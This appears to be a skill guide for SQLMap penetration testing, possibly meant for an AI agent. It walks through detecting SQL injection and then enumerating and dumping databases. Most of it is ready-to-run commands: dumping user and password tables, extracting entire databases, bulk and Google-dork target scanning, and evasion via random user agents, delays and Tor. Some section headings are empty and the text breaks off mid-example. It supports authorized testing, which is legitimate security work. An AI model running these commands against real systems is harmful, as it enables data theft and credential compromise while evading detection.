SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

• Target URL: Web application URL with injectable parameter (e.g., ?id=1)
• SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
• Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
• Request File (Optional): Burp Suite captured HTTP request for POST-based injection
• Authorization: Written permission for penetration testing activities

Outputs / Deliverables

• Database Enumeration: List of all databases on the target server
• Table Structure: Complete table names within target database
• Column Mapping: Column names and data types for each table
• Extracted Data: Dumped records including usernames, passwords, and sensitive data
• Hash Values: Password hashes for offline cracking
• Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

• -u: Target URL with injectable parameter
• --dbs: Enumerate database names
• --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

• -D: Specify target database name
• --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

• -T: Specify target table name
• --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

• --dump: Extract all data from specified table
• --dump-all: Extract all data from all tables
• -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

Supported Database Management Systems

SQL Injection Techniques

Essential Options

Constraints and Limitations

Operational Boundaries

• Requires valid injectable parameter in target URL
• Network connectivity to target database server required
• Large database dumps may take significant time
• Some WAF/IPS systems may block SQLMap traffic
• Time-based attacks significantly slower than error-based

Performance Considerations

• Use --threads to speed up enumeration (default: 1)
• Limit dumps with --start and --stop for large tables
• Use --technique to specify faster injection method if known

Legal Requirements

• Only test systems with explicit written authorization
• Google dork attacks against unknown sites are illegal
• Document all testing activities and findings
• Respect scope limitations defined in engagement rules

Detection Risk

• SQLMap generates significant log entries
• Use --random-agent to vary User-Agent header
• Consider --delay to avoid triggering rate limits
• Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration

# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found

# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.

# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns

# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

Example 2: POST Request Injection

# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
# 
# username=admin&password=test

# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch

Example 3: Bulk Target Scanning

# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo